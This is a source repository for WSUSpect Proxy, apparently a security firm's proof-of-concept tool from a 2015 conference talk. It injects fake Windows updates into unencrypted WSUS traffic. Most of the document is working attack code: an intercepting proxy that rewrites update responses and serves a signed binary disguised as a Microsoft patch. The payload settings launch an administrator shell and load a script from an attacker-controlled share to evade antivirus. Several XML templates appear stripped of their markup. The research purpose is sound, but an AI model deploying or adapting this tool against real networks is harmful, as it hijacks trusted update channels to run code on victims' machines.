├── .gitignore ├── LICENSE.txt ├── README.md ├── intercepting_proxy.py ├── payloads └── payloads.ini ├── requirements.txt ├── screenshots ├── fakeupdate.png └── output.png ├── templates ├── SyncUpdatesResult.xml ├── bundle_extended_xml1.xml ├── bundle_extended_xml2.xml ├── bundle_xml.xml ├── install_extended_xml1.xml ├── install_extended_xml2.xml └── install_xml.xml ├── update_modifier.py └── wsuspect_proxy.py /.gitignore: -------------------------------------------------------------------------------- 1 | *.exe 2 | *.pyc 3 | __pycache__ -------------------------------------------------------------------------------- /LICENSE.txt: -------------------------------------------------------------------------------- 1 | The MIT License (MIT) 2 | 3 | Copyright (c) 2015 Context Information Security Ltd. 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in 13 | all copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN 21 | THE SOFTWARE. -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # WSUSpect Proxy 2 | 3 | Written by Paul Stone and Alex Chapman, [Context Information Security](http://www.contextis.com) 4 | 5 | ## Summary 6 | 7 | This is a proof of concept script to inject 'fake' updates into non-SSL WSUS traffic. 8 | It is based on our BlackHat USA 2015 presentation, 'WSUSpect – Compromising the Windows Enterprise via Windows Update' 9 | 10 | - White paper: http://www.contextis.com/documents/161/CTX_WSUSpect_White_Paper.pdf 11 | - Slides: http://www.contextis.com/documents/162/WSUSpect_Presentation.pdf 12 | 13 | ## Prerequisites 14 | You'll need the Python Twisted library installed. You can do this by running: 15 | ``` 16 | pip install twisted 17 | ``` 18 | 19 | You also need to place a Microsoft-signed binary (e.g. [PsExec](https://technet.microsoft.com/en-gb/sysinternals/bb897553.aspx)) into the payloads directory. 20 | This script has been tested on Python 2.7. It does not yet work with Python 3.x; contributions are welcome. 21 | 22 | ## Usage 23 | To test this out, you'll need a target Windows 7 or 8 machine that is configured to receive updates 24 | from a WSUS server over unencrypted HTTP. The machine should be configured to proxy through the 25 | machine running this script. This can be done by manually changing the proxy settings or via other 26 | means such as WPAD poisoning (e.g. using [Responder](https://github.com/SpiderLabs/Responder)) 27 | ``` 28 | python wsuspect_proxy.py payload_name [port] 29 | ``` 30 | An example payload for PsExec is set up that will launch cmd.exe running as Administrator: 31 | ``` 32 | python wsuspect_proxy.py psexec 33 | ``` 34 | 35 | If you are having problems getting the script to work we'd recommend using a GUI proxy tool 36 | such as Burp (and configuring Burp to use this script as a proxy) to see if the update XML 37 | is being correctly inserted. 38 | 39 | ## Customisation 40 | Modify payloads/payloads.ini to change the payloads and their arguments. 41 | 42 | ## Known Issues 43 | - Currently doesn't support Windows 10 targets 44 | - Doesn't yet support Python 3 45 | 46 | ## Screenshots 47 | 48 | ![WSUSpect in action](screenshots/fakeupdate.png "WSUSpect in action") 49 | 50 | ![WSUSpect script output](screenshots/output.png "WSUSpect script output") 51 | -------------------------------------------------------------------------------- /intercepting_proxy.py: -------------------------------------------------------------------------------- 1 | # The MIT License (MIT) 2 | # 3 | # Copyright (c) 2015 Context Information Security Ltd. 4 | # 5 | # Permission is hereby granted, free of charge, to any person obtaining a copy 6 | # of this software and associated documentation files (the "Software"), to deal 7 | # in the Software without restriction, including without limitation the rights 8 | # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | # copies of the Software, and to permit persons to whom the Software is 10 | # furnished to do so, subject to the following conditions: 11 | # 12 | # The above copyright notice and this permission notice shall be included in 13 | # all copies or substantial portions of the Software. 14 | # 15 | # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN 21 | # THE SOFTWARE. 22 | 23 | try: 24 | from cStringIO import StringIO 25 | except: 26 | from io import BytesIO as StringIO 27 | 28 | try: 29 | from urlparse import urlparse, urlunparse 30 | except: 31 | from urllib.parse import urlparse, urlunparse 32 | 33 | from twisted.internet import reactor 34 | from twisted.python.log import startLogging 35 | from twisted.web import server, resource, proxy, http 36 | from twisted.python.filepath import FilePath 37 | 38 | 39 | #ProxyClient(twisted.web.http.HTTPClient) 40 | class InterceptingProxyClient(proxy.ProxyClient): 41 | def handleResponsePart(self, buffer): 42 | #Buffer the output if we intend to modify it 43 | if self.father.has_response_modifiers(): 44 | self.father.response_buffer.write(buffer) 45 | else: 46 | proxy.ProxyClient.handleResponsePart(self, buffer) 47 | 48 | def handleResponseEnd(self): 49 | #Process the buffered output if we are modifying it 50 | if self.father.has_response_modifiers(): 51 | if not self._finished: 52 | #Replace the StringIO with a string for the modifiers 53 | data = self.father.response_buffer.getvalue() 54 | self.father.response_buffer.close() 55 | self.father.response_buffer = data 56 | 57 | #Do editing of response headers / content here 58 | self.father.run_response_modifiers() 59 | self.father.responseHeaders.setRawHeaders('content-length', [len(self.father.response_buffer)]) 60 | self.father.write(self.father.response_buffer) 61 | proxy.ProxyClient.handleResponseEnd(self) 62 | 63 | 64 | class InterceptingProxyClientFactory(proxy.ProxyClientFactory): 65 | noisy = False 66 | protocol = InterceptingProxyClient 67 | 68 | #ProxyRequest(twisted.web.http.Request) 69 | class InterceptingProxyRequest(proxy.ProxyRequest): 70 | def __init__(self, *args, **kwargs): 71 | proxy.ProxyRequest.__init__(self, *args, **kwargs) 72 | self.response_buffer = StringIO() 73 | self.request_buffer = StringIO() 74 | self.modifiers = self.channel.factory.modifiers 75 | 76 | def run_request_modifiers(self): 77 | if not self.has_request_modifiers(): 78 | return 79 | 80 | if self.requestHeaders.hasHeader('content-length'): 81 | self.request_buffer = self.content.read() 82 | 83 | for m in self.modifiers: 84 | m.modify_request(self) 85 | 86 | if self.requestHeaders.hasHeader('content-length'): 87 | self.content.seek(0,0) 88 | self.content.write(self.request_buffer) 89 | self.content.truncate() 90 | self.requestHeaders.setRawHeaders('content-length', [len(self.request_buffer)]) 91 | 92 | def has_request_modifiers(self): 93 | ret = False 94 | for m in self.modifiers: 95 | if m.will_modify_request(self): 96 | ret = True 97 | return ret 98 | 99 | def has_response_modifiers(self): 100 | ret = False 101 | for m in self.modifiers: 102 | if m.will_modify_response(self): 103 | ret = True 104 | return ret 105 | 106 | def run_response_modifiers(self): 107 | for m in self.modifiers: 108 | m.modify_response(self) 109 | 110 | def has_response_server(self): 111 | for m in self.modifiers: 112 | if m.will_serve_response(self): 113 | return True 114 | return False 115 | 116 | def serve_resource(self): 117 | body = None 118 | for m in self.modifiers: 119 | if m.will_serve_response(self): 120 | body = m.get_response(self) 121 | break 122 | if not body: 123 | raise Exception('Nothing served a resource') 124 | self.setHeader('content-length', str(len(body))) 125 | if self.method == 'HEAD': 126 | self.write('') 127 | else: 128 | self.write(body) 129 | self.finish() 130 | 131 | def process(self): 132 | host = None 133 | port = None 134 | parsed_uri = urlparse(self.uri) 135 | self.uri = urlunparse(('', '', parsed_uri.path, parsed_uri.params, parsed_uri.query, parsed_uri.fragment)) or "/" 136 | 137 | if self.has_request_modifiers(): 138 | self.run_request_modifiers() 139 | 140 | if self.has_response_server(): 141 | self.serve_resource() 142 | return 143 | 144 | protocol = parsed_uri.scheme or 'http' 145 | host = host or parsed_uri.netloc 146 | port = port or parsed_uri.port or self.ports[protocol] 147 | 148 | headers = self.getAllHeaders().copy() 149 | if 'host' not in headers: 150 | headers['host'] = host 151 | 152 | if ':' in host: 153 | host,_ = host.split(':') 154 | 155 | self.content.seek(0, 0) 156 | content = self.content.read() 157 | 158 | clientFactory = InterceptingProxyClientFactory(self.method, self.uri, self.clientproto, headers, content, self) 159 | self.reactor.connectTCP(host, port, clientFactory) 160 | 161 | #Proxy(twisted.web.http.HTTPChannel) 162 | class InterceptingProxy(proxy.Proxy): 163 | requestFactory = InterceptingProxyRequest 164 | 165 | class InterceptingProxyFactory(http.HTTPFactory): 166 | protocol = InterceptingProxy 167 | 168 | def add_modifier(self, m): 169 | self.modifiers.append(m) 170 | 171 | def __init__(self, modifier, *args, **kwargs): 172 | http.HTTPFactory.__init__(self, *args, **kwargs) 173 | self.modifiers = [] 174 | self.add_modifier(modifier) -------------------------------------------------------------------------------- /payloads/payloads.ini: -------------------------------------------------------------------------------- 1 | # WSUSpect payload parameters 2 | # Place MS-signed update binaries in the same directory as this file 3 | 4 | [psexec] 5 | payload = PsExec.exe 6 | args = /accepteula -i 1 cmd 7 | title = Super important security update MS015-ABC 8 | description = Do bad things to your computer! 9 | 10 | [bginfo] 11 | payload = BgInfo.exe 12 | args = \\attacker-ip\unauth_share\bginfo\script.bgi /nolicprompt /timer:0 13 | title = BgInfo payload 14 | description = Bypass AV that blocks PsExec -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | twisted 2 | -------------------------------------------------------------------------------- /screenshots/fakeupdate.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pdjstone/wsuspect-proxy/a1725759512225e40e1634dbf43df6c189cc0ff1/screenshots/fakeupdate.png -------------------------------------------------------------------------------- /screenshots/output.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pdjstone/wsuspect-proxy/a1725759512225e40e1634dbf43df6c189cc0ff1/screenshots/output.png -------------------------------------------------------------------------------- /templates/SyncUpdatesResult.xml: -------------------------------------------------------------------------------- 1 | 2 | ${bundle_id} 3 | 4 | ${deploy_bundle_id} 5 | Bundle 6 | true 7 | 2015-04-15 8 | 0 9 | 0 10 | 0 11 | 0 12 | 13 | true 14 | ${bundle_xml} 15 | 16 | 17 | ${install_id} 18 | 19 | ${deploy_install_id} 20 | Install 21 | true 22 | 2015-04-15 23 | 0 24 | 0 25 | 0 26 | 0 27 | 28 | true 29 | ${install_xml} 30 | 31 | 32 | 33 | -------------------------------------------------------------------------------- /templates/bundle_extended_xml1.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | ${file_sha256} 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | -------------------------------------------------------------------------------- /templates/bundle_extended_xml2.xml: -------------------------------------------------------------------------------- 1 | 2 | en 3 | fake-${bundle_id}-x64 4 | -------------------------------------------------------------------------------- /templates/bundle_xml.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | -------------------------------------------------------------------------------- /templates/install_extended_xml1.xml: -------------------------------------------------------------------------------- 1 | 2 | http://support.microsoft.com 3 | MS15-041 4 | 3037581 5 | -------------------------------------------------------------------------------- /templates/install_extended_xml2.xml: -------------------------------------------------------------------------------- 1 | 2 | en 3 | ${update_title} 4 | ${update_description} 5 | This software update can be removed by selecting View installed updates in the Programs and Features Control Panel. 6 | http://support.microsoft.com/kb/3037581 7 | http://support.microsoft.com 8 | -------------------------------------------------------------------------------- /templates/install_xml.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /update_modifier.py: -------------------------------------------------------------------------------- 1 | # The MIT License (MIT) 2 | # 3 | # Copyright (c) 2015 Context Information Security Ltd. 4 | # 5 | # Permission is hereby granted, free of charge, to any person obtaining a copy 6 | # of this software and associated documentation files (the "Software"), to deal 7 | # in the Software without restriction, including without limitation the rights 8 | # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | # copies of the Software, and to permit persons to whom the Software is 10 | # furnished to do so, subject to the following conditions: 11 | # 12 | # The above copyright notice and this permission notice shall be included in 13 | # all copies or substantial portions of the Software. 14 | # 15 | # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN 21 | # THE SOFTWARE. 22 | 23 | import random 24 | import uuid 25 | import re 26 | import hashlib 27 | import base64 28 | import os 29 | import string 30 | from os.path import splitext, basename 31 | try: 32 | from urlparse import urlparse 33 | except: 34 | from urllib.parse import urlparse 35 | 36 | from xml.sax.saxutils import escape 37 | 38 | class FakeWsusUpdate(object): 39 | def __init__(self, payload, args, title, description): 40 | self.payload_path = os.path.join('payloads', payload) 41 | self.payload_args = args 42 | self.title = title 43 | self.description = description 44 | 45 | # These can be any number that doesn't clash with an existing update ID 46 | self.bundle_id = 17999990 47 | self.install_id = self.bundle_id + 1 48 | 49 | # Not sure of the difference between above IDs and 'deploy' IDs 50 | self.deploy_bundle_id = 899990 51 | self.deploy_install_id = self.deploy_bundle_id + 1 52 | 53 | # The payload will be downloaded to a temporary file with this name 54 | self.orig_filename = 'Windows-KB890830-V5.22.exe' 55 | 56 | if not os.path.exists(self.payload_path): 57 | raise Exception('File %s not found - you need to have an MS-signed executable' % self.payload_path) 58 | 59 | self.__gen_file_hashes() 60 | self.download_path = self.__gen_download_path() 61 | 62 | def __gen_file_hashes(self): 63 | hash1 = hashlib.sha1() 64 | hash256 = hashlib.sha256() 65 | 66 | with open(self.payload_path, 'rb') as f: 67 | data = f.read() 68 | hash1.update(data) 69 | hash256.update(data) 70 | 71 | self.payload_sha1 = base64.b64encode(hash1.digest()) 72 | self.payload_sha256 = base64.b64encode(hash256.digest()) 73 | self.payload_sha1_hex = hash1.hexdigest() 74 | 75 | def __gen_download_path(self): 76 | # The download URL can be anything, since we're proxying everything 77 | # But we'll make it look like a genuine WSUS URL 78 | # Beware that the WU heavily caches URLs - if you reuse a URL it's 79 | # downloaded before it will always use the cached version 80 | _, ext = splitext(basename(self.payload_path)) 81 | hash = self.payload_sha1_hex.upper() # maybe we should use a random hash? 82 | path = '/Content/%s/%s%s' % (hash[-2:], hash, ext) 83 | return path 84 | 85 | def download_url(self, wsus_host): 86 | url = 'http://%s%s' % (wsus_host, self.download_path) 87 | return url 88 | 89 | def get_data(self): 90 | with open(self.payload_path, 'rb') as f: 91 | data = f.read() 92 | return data 93 | 94 | class WsusXmlModifier(object): 95 | WSUS_SOAP_ACTION = "http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService" 96 | 97 | def __init__(self, fake_update, template_dir = 'templates'): 98 | self.update = fake_update 99 | self.template_dir = template_dir 100 | 101 | def will_serve_response(self, req): 102 | parsed_uri = urlparse(req.uri) 103 | return parsed_uri.path == self.update.download_path 104 | 105 | def will_modify_response(self, req): 106 | action = req.getAllHeaders().get('soapaction', None) 107 | return action and WsusXmlModifier.WSUS_SOAP_ACTION in action 108 | 109 | def will_modify_request(self, req): 110 | action = req.getAllHeaders().get('soapaction', None) 111 | return action and WsusXmlModifier.WSUS_SOAP_ACTION in action 112 | 113 | def get_response(self, req): 114 | if req.method == 'GET': 115 | print('Serving payload %s (%s)' % (basename(self.update.payload_path), self.update.title)) 116 | req.setHeader('content-type', 'application/octet-stream') 117 | return self.update.get_data() 118 | 119 | def modify_request(self, request): 120 | headers = request.getAllHeaders().copy() 121 | 122 | # Remove compression header 123 | if headers.get('accept-encoding', '') == 'xpress': 124 | request.requestHeaders.setRawHeaders('accept-encoding', ['utf-8']) 125 | 126 | content = request.request_buffer 127 | if '': self.__modify_sync_update_response, 134 | 'true' in content: 140 | return 141 | 142 | for search, fn in inject_fns.iteritems(): 143 | if search in content: 144 | content = fn(content, request) 145 | request.response_buffer = content 146 | 147 | def __modify_extended_update_response(self, content, request): 148 | print('Adding fake update metadata to GetExtendedUpdateInfoResult') 149 | update_xml = self.__gen_extended_update_response_xml() 150 | file_xml = self.__gen_file_location_xml(request.getAllHeaders()['host']) 151 | 152 | if '' in content: 153 | # There are real updates in the WSUS response, so add ours to the end 154 | content = content.replace('', '%s' % update_xml) 155 | else: 156 | # The WSUS server didn't return any updates, so add our own 157 | content = content.replace( 158 | '', 159 | '%s' % update_xml) 160 | 161 | if '' in content: 162 | content = content.replace('', '%s' % file_xml) 163 | else: 164 | content = content.replace('', '%s' % file_xml) 165 | return content 166 | 167 | def __gen_file_location_xml(self, host): 168 | url = self.update.download_url(host) 169 | hash = self.update.payload_sha1 170 | xml = '%s%s' % (hash, url) 171 | return xml 172 | 173 | def __gen_extended_update_response_xml(self): 174 | update = self.update 175 | fields = { 176 | 'filename': update.payload_path, 177 | 'prog_args': update.payload_args, 178 | 'file_len': os.path.getsize(update.payload_path), 179 | 'file_sha1': update.payload_sha1, 180 | 'file_sha256': update.payload_sha256, 181 | 'orig_filename' :update.orig_filename, 182 | 'bundle_id': update.bundle_id, 183 | 'update_title': update.title, 184 | 'update_description': update.description 185 | } 186 | 187 | updates = ( 188 | (update.bundle_id, self.get_template('bundle_extended_xml1.xml')), 189 | (update.install_id, self.get_template('install_extended_xml1.xml')), 190 | (update.bundle_id, self.get_template('bundle_extended_xml2.xml')), 191 | (update.install_id, self.get_template('install_extended_xml2.xml')) 192 | ) 193 | 194 | xml = '' 195 | for id, xml_template in updates: 196 | xml_part = xml_template.substitute(fields) 197 | xml += '%s%s\n' % (id, escape(xml_part)) 198 | return xml 199 | 200 | def __remove_fake_ids(self, content): 201 | # remove our injected update IDs from request to real WSUS server 202 | # if we don't the WSUS server will tell the client to 'forget' 203 | # about our fake IDs 204 | injected_ids = (self.update.bundle_id, self.update.install_id) 205 | regex = '(%s)' % '|'.join(map(str, injected_ids)) 206 | content = re.sub(regex, '', content) 207 | return content 208 | 209 | def __modify_sync_update_response(self, content, request): 210 | print('Adding fake update metadata to SyncUpdatesResult') 211 | data = self.__gen_sync_update_response_xml() 212 | if '' in content: 213 | content = content.replace('', '%s' % data) 214 | else: 215 | content = content.replace('', '%s' % data) 216 | return content 217 | 218 | def __gen_sync_update_response_xml(self): 219 | update = self.update 220 | guids = { 221 | 'install_guid': uuid.uuid4(), 222 | 'bundle_guid': uuid.uuid4() 223 | } 224 | 225 | fields = { 226 | 'bundle_id': update.bundle_id, 227 | 'install_id': update.install_id, 228 | 'deploy_bundle_id': update.deploy_bundle_id, 229 | 'deploy_install_id': update.deploy_install_id, 230 | 'install_xml': escape(self.get_template('install_xml.xml').substitute(guids)), 231 | 'bundle_xml': escape(self.get_template('bundle_xml.xml').substitute(guids)) 232 | } 233 | xml = self.get_template('SyncUpdatesResult.xml').substitute(fields) 234 | return xml 235 | 236 | def get_template(self, filename): 237 | path = '%s/%s' % (self.template_dir, filename) 238 | with open(path, 'r') as f: 239 | s = f.read() 240 | return string.Template(s) -------------------------------------------------------------------------------- /wsuspect_proxy.py: -------------------------------------------------------------------------------- 1 | # The MIT License (MIT) 2 | # 3 | # Copyright (c) 2015 Context Information Security Ltd. 4 | # 5 | # Permission is hereby granted, free of charge, to any person obtaining a copy 6 | # of this software and associated documentation files (the "Software"), to deal 7 | # in the Software without restriction, including without limitation the rights 8 | # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | # copies of the Software, and to permit persons to whom the Software is 10 | # furnished to do so, subject to the following conditions: 11 | # 12 | # The above copyright notice and this permission notice shall be included in 13 | # all copies or substantial portions of the Software. 14 | # 15 | # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN 21 | # THE SOFTWARE. 22 | 23 | import os.path 24 | import sys 25 | try: 26 | import configparser 27 | except ImportError: 28 | import ConfigParser as configparser 29 | 30 | from twisted.internet import reactor 31 | from twisted.python.log import startLogging 32 | 33 | from intercepting_proxy import InterceptingProxyFactory 34 | from update_modifier import WsusXmlModifier, FakeWsusUpdate 35 | 36 | PROXY_PORT = 8080 37 | 38 | config = configparser.RawConfigParser() 39 | config.read(os.path.join('payloads', 'payloads.ini')) 40 | 41 | if len(sys.argv) < 2: 42 | print('Usage: %s payload_name [port]' % sys.argv[0]) 43 | print('e.g. %s psexec' % sys.argv[0]) 44 | sys.exit(-1) 45 | 46 | port = PROXY_PORT 47 | if len(sys.argv) > 2: 48 | port = int(sys.argv[2]) 49 | 50 | payload_name = sys.argv[1] 51 | params = dict(config.items(payload_name)) 52 | psexec_update = FakeWsusUpdate(**params) 53 | 54 | wsus_injector = WsusXmlModifier(psexec_update) 55 | proxy = InterceptingProxyFactory(wsus_injector) 56 | 57 | startLogging(sys.stdout) 58 | reactor.listenTCP(port, proxy) 59 | reactor.run() 60 | --------------------------------------------------------------------------------